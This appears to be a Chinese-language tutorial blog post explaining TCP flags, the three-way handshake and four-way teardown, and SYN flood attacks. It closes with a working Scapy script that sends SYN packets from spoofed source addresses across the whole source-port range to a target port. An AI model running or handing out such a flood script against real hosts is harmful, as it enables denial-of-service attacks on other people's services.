深入理解三次握手四次挥手以及使用scapy实现ddos雏形

前言

确认位ACK 只有当ACK=1时确认号字段才有效。当ACK=0时，确认号无效

TCP规定，在连接建立后所有传送的报文段都必须把ACK置1

同步位SYN 同步SYN=1表示这是一个连接请求或者连接接收报文

当SYN=1，ACK=0时，表明这是一个连接请求报文，对方若同意建立连接，则在响应报文中使用SYN=1，ACK=1.即，SYN=1就表示这是一个连接请求或连接接收报文

终止位 FIN 用来释放一个连接。FIN=1表面此报文段的发送方的数据已发送完毕，并要求释放传输连接。

三次握手

第一步:客户机的TCP首先向服务器的TCP发送一个连接请求报文段。这个特殊的报文段中不含应用层数据，其首部中的SYN标志位被置为1.另外，客户机会随机选择一个启始序号seq=x(连接请求报文不携带数据，但要消耗掉一个序号)

第二步:服务器的TCP收到连接请求报文段后，如同意建立连接，就向客户机发回确认，并为该TCP连接分配TCP缓存和变量。在确认报文段中，SYN和ACK位都被置为1，确认号字段的值为x+1，并且服务器随机产生起始序列号seq=y(确认报文不携带数据，但也要消耗掉一个序号)。确认报文段同样不包含应用层数据

第三步：当客户机收到确认报文段后，还要向服务器给出确认，并且也要给该连接分配缓存和变量。这个报文段的ACK标志位被置1，序号字段为x+1，确认号字段ack=y+1.该报文段可以携带数据，如果不携带数据则不消耗序号

接下来就可以接收数据了，由于TCP是全双工通信，因此通信两方的应用进程在任何时候都能发送数据

另外， 服务器端的资源是在完成第二次握手时分配的，而客户端的资源是在完成第三次握手时分配的。这就使得服务器易于受到SYN泛洪攻击

四次挥手

第一步:客户机打算关闭连接，就向其TCP发送一个连接释放报文段，并停止再发送数据，主动关闭TCP连接，该报文段的FIN标志位被置1，seq=u，它等于前面已传送过的数据的最后一个字节的序号加1(FIN报文段即使不携带数据，也要消耗掉一个序号)。TCP是全双工的，即可以想象成是一条TCP连接上有两条数据通路，当发送FIN报文时，发送FIN的一端就不能再发送数据，也就是关闭了其中一条数据通路，但对方还可以发送数据

第二步：服务器收到连接释放报文段后即发出确认，确认后是ack=u+1，而这个报文段自己的序号为v，等于它前面已传送过的数据的最后一个字节的序号加1.此时，从客户机到服务器这个方向的连接就释放了，TCP连接处于半关闭状态。但服务器若发送数据，客户机仍要接收，即从服务器到客户机这个方向的连接并未关闭

第三步：若服务器已经没有要向客户机发送的数据，就通知TCP释放连接，此时其发出FIN=1的连接释放报文段

第四步：客户机收到连接释放报文段后，必须发出确认。在确认报文段中，ACK字段被置为1，确认后为ack=w+1，序号为seq=u+1.此时TCP连接还没有释放掉，必须经过时间等待计时器设置的时间2MSL后，客户机才进入到连接关闭状态。

总结

• 连接建立
  • SYN=1, seq=x
  • SYN=1, ACK=1, seq=y, ack=x+1
  • ACK=1, seq=x+1, ack=y+1
• 释放连接
  • FIN=1， seq=u
  • ACK=1, seq=v, ack=u+1
  • FIN=1, ACK=1, seq=w, ack=u+1
  • ACK=1, seq=u+1, ack=w+1

SYN泛洪攻击

SYN攻击利用的是TCP的三次握手机制，攻击端利用伪造的IP地址向被攻击端发出请求，而被攻击端发出的响应报文将永远发送不到目的地，那么被攻击端在等待关闭这个连接的过程中消耗了资源，如果有成千上万的这种连接，主机资源将被耗尽，从而达到攻击的目的。

Scapy实现ddos简单攻击

使用Scapy构造一个简单的数据包看一下：

pkt = IP(dst = "192.168.0.10")

接下来我们就构造一个SYN包：

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

（我们构造了一个IP包和TCP包并将它们组合到一块，这样就有了一个完整的TCP数据包，否则是无法发送出去的，IP包中我）们指定了源IP地址src和目的IP地址dst，其中src是我们伪造的地址，flags的值设定为S说明要发送的是SYN数据包）

代码实现

import random
from scapy.all import *

def synFlood(tgt,dPort):
    srclist = ['33.56.32.1','128.33.69.52','211.2.32.23','221.43.39.137']
    for sPort in range(1,65535):
        index = random.randint(0,3)
        ipLayer = IP(src = srclist[index],dst = tgt)
        tcoLayer = TCP(sport = sPort, dport = dPort, flags = 'S')
        packet1 = ipLayer/tcoLayer
        print(packet1)
        send(packet1)

synFlood('127.0.0.1',80)